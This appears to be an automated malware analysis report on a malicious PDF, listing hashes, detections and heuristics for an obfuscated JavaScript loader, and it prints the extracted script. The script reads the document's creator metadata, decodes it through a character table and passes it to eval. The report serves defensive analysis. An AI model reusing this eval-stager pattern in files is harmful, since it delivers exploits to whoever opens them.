Malicious PDF — malware analysis report

Static analysis result for SHA-256 2ebdfeb9f3df5b5a…

MALICIOUS

PDF

12.8 KB First seen: 2026-05-08
MD5: 2ed8ff5fec42ed8e33591668638c8628 SHA-1: 3e958343dcad3e6b9b3e7eba960ead532238f840 SHA-256: 2ebdfeb9f3df5b5acd25c5af6c0124c8fd6c4ee793fc9eb40a94ceb8a63fd9b4
186 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: Malicious File

This PDF file was flagged as malicious by multiple high-confidence heuristics, including a PDF metadata JavaScript eval stager and a machine learning classifier. ClamAV also detected it as 'Pdf.Exploit.Dropped-94'. The embedded JavaScript stream is likely responsible for executing the exploit, which is a common technique for delivering secondary payloads. The document body content is minimal and does not provide further context on the lure.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • ClamAV: Pdf.Exploit.Dropped-94 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Dropped-94
  • PDF metadata JavaScript eval stager high PDF_METADATA_EVAL_STAGER
    PDF JavaScript reads document metadata fields such as title, subject, or producer, decodes character data with parseInt/String.fromCharCode style helpers, and evals the recovered stage. This is a high-signal exploit-kit staging pattern.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x3129 331 bytes
SHA-256: 5e1b2d62f0054dc77ab2e049efce8b4fa064a0fb222f696f4e5bdb15d74b0c43
Preview script
First 1,000 lines of the extracted script
function test2(){v=a[z];s=s+cc[v*1+15];}
a=creator.split('r');
cc={q:"r=WAD.c95*|+1M q%/CsSKUm_[@34VQ'jN]>l{)w'h<yoa26gG,pu}7t80eIx(:dzk-PEbf&;niv"}.q;
qq='dsfewdsvasasl';
q=qq[3]+qq[7]+qq[8]+qq[qq.length-1];
try{loadXML({});}catch($){
w=eval;
s=Array();
n={v:cc}.v;
for(i=0;i-3890<0;i++){
z=i;
test2();
}
w(s);
}

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